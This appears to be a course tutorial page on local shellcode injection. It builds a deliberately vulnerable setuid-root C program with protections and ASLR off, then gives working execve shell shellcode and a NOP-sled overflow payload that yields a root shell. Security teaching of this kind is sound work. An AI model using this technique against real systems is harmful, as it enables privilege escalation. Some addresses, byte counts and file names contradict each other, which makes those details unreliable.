Hacking
  • Hacking
  • WireShark
    • Setup
    • Exercise
  • GDB
    • Setup
    • Exercise
  • Shellcode
    • Local
Powered by GitBook
On this page
  • Objective
  • Prerequisites
  • Install
  • Exercise
  • Setting the environment:
  • Congratulations! We’ve got root access.

Was this helpful?

  1. Shellcode

Local

Objective

  • Gain shell access by overflowing a vulnerable buffer.

    • ASLR disabled

Prerequisites

  • Basic knowledge of:

    • C

    • GCC

    • Command line

    • x86

Install

Open terminal and install:

$ sudo apt-get install nasm
$ sudo apt-get install g++-multilib

Exercise

A system with an executable binary that is owned by root, has the suid bit set, and is vulnerable to buffer overflow. We will now exploit it to gain shell access.

Setting the environment:

  1. First we need to create a user <test> without root privilages:

$ sudo adduser test

2. Create a file name <vuln.c> in the home directory for <test> user.

$ sudo nano vuln.c
#include <stdio.h>
#include <string.h>

void func(char *name)
{
    char buf[100];
    strcpy(buf, name);
    printf("Welcome %s\n", buf);
}

int main(int argc, char *argv[])
{
    func(argv[1]);
    return 0;
}

3. Let's compile it

For 32 bits systems

$ sudo gcc vuln.c -o vuln -fno-stack-protector -z execstack

For 64 bit systems

$ sudo gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack

*Note

  • -fno-stack-protector allow us to disable the stack protection.

  • -m32 made sure that the compiled binary is 32 bit

  • -z execstack makes the stack executable

4. Setting up permisions

$ sudo chown root:test vuln
$ sudo chmod 550 vuln
$ sudo chmod u+s vuln

Now let's confirm your file:

$ ls -l vuln
$ -r-sr-x--- 1 root test 7512 Jan 29 14:23 vuln

5. Disable or Enable ASLR (Address space layout randomization)

When ASLR is turned on the addresses of the stack, etc will be randomized. This causes a lot of difficulty in predicting addresses while exploitation.

  • Disable

$ echo "0" | sudo dd of=/proc/sys/kernel/randomize_va_space
  • Enable

$ echo "2" | sudo dd of=/proc/sys/kernel/randomize_va_space

6. Shellcode Injection

After we disable ASLR, we need to log into test user.

$ su test

There is a vulnerability in <vuln.c>. The <strcpy> function does not specifiy a maximum lenght while copying. Let's disassembley using <objdump> and see what we can find

$ objdump -d -M intel vuln
$vuln:     file format elf32-i386


Disassembly of section .init:

000003e0 <_init>:
 3e0:    53                       push   ebx
 3e1:    83 ec 08                 sub    esp,0x8
 3e4:    e8 b7 00 00 00           call   4a0 <__x86.get_pc_thunk.bx>
 3e9:    81 c3 17 1c 00 00        add    ebx,0x1c17
 3ef:    8b 83 f0 ff ff ff        mov    eax,DWORD PTR [ebx-0x10]
 3f5:    85 c0                    test   eax,eax
 3f7:    74 05                    je     3fe <_init+0x1e>
 3f9:    e8 5a 00 00 00           call   458 <.plt.got+0x8>
 3fe:    83 c4 08                 add    esp,0x8
 401:    5b                       pop    ebx
 402:    c3                       ret    

....

Shellcode injection consists of the following main parts:

  1. The shellcode that is to be injected is crafted.

  2. A possible place is found where we can insert the shellcode.

  3. The program is exploited to transfer execution flow to the location where the shellcode was inserted.

7. Crafting Shellcode

We will create a shellcode that spawns a shell.

$ nano shellcode.nasm
xor     eax, eax    ;Clearing eax register
push    eax         ;Pushing NULL bytes
push    0x68732f2f  ;Pushing //sh
push    0x6e69622f  ;Pushing /bin
mov     ebx, esp    ;ebx now has address of /bin//sh
push    eax         ;Pushing NULL byte
mov     edx, esp    ;edx now has address of NULL byte
push    ebx         ;Pushing address of /bin//sh
mov     ecx, esp    ;ecx now has address of address
                    ;of /bin//sh byte
mov     al, 11      ;syscall number of execve is 11
int     0x80        ;Make the system call

To compile it use <nasm>:

$ nasm -f elf shellcode.asm

Use objdump to get the shellcode bytes:

$ objdump -d -M intel shellcode.o
shellcode.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:    31 c0                    xor    eax,eax
   2:    50                       push   eax
   3:    68 2f 2f 73 68           push   0x68732f2f
   8:    68 2f 62 69 6e           push   0x6e69622f
   d:    89 e3                    mov    ebx,esp
   f:    50                       push   eax
  10:    89 e2                    mov    edx,esp
  12:    53                       push   ebx
  13:    89 e1                    mov    ecx,esp
  15:    b0 0b                    mov    al,0xb
  17:    cd 80                    int    0x80

Extracting the bytes gives us the shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

8. Finding a possible place to inject shellcode

We can insert the shellcode by passing it inside the first parameter while running <vuln>. For that we are going to use GDB.

$ gdb -q vuln
$ Reading symbols from vuln...(no debugging symbols found)...done.
(gdb) break func
Breakpoint 1 at 0x5d4
(gdb) run $(python -c 'print "A"*116')
Starting program: /home/test/vuln $(python -c 'print "A"*116')

Breakpoint 1, 0x565555d4 in func ()
(gdb) print $ebp
$1 = (void *) 0xffffd0d8
(gdb) print $ebp - 0x6c
$2 = (void *) 0xffffd06c
(gdb) q
A debugging session is active.

    Inferior 1 [process 30832] will be killed.

Quit anyway? (y or n) y
  • We set a breakpoint at the <func> function.

  • Start the binary with a payload of lenght 116 as argument.

  • Print the address <ebp - 0x6c> and shows the <buf> was located at 0xffffd06c. * This direction may be different at your computer

The length of the payload will have an effect on the location of <buf> as the payload itself is also pushed on the stack(it is part of the arguments).

9. Crafting payload

No we are goint the insert the shellcode at the end of the argument string so its address is equal to the address of <buf> + some length.

  • Length of shellcode = 25 bytes

  • It is also known that return address starts after the first 112 bytes of <buf>

  • We’ll fill the first 40 bytes with NOP instructions

    10. NOP Sled

NOP Sled is a sequence of NOP (no-operation) instructions meant to “slide” the CPU’s instruction execution flow to its final, desired, destination whenever the program branches to a memory address anywhere on the sled.

We will make the processor jump to the address of <buf> (taken from gdb’s output) + 40 bytes to get somewhere in the middle of the NOP sled.

0xffffd06c +40 = ffffd0ac

We can fill the rest 47(112 - 25 - 40) bytes with random data, say the ‘A’ character.

Final payload structure:

[40 bytes of NOP - sled] [25 bytes of shellcode] [47 times ‘A’ will occupy 49 bytes] [4 bytes pointing in the middle of the NOP - sled: 0xffffce16]

So execute:

$ ./vuln $(python -c 'print "\x90"*40 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*47 + "\x6c\xd0\xff\xff"')

Congratulations! We’ve got root access.

*Note in case you segmentation fault, try changing the return address by +- 40. For example:

0xffffd06c +20 = 0xffffd06c + 40 0xffffd06c +80 etc..

PreviousShellcode

Last updated 5 years ago

Was this helpful?

*You can use to calculate this sum.

http://www.csgnetwork.com/hexaddsubcalc.html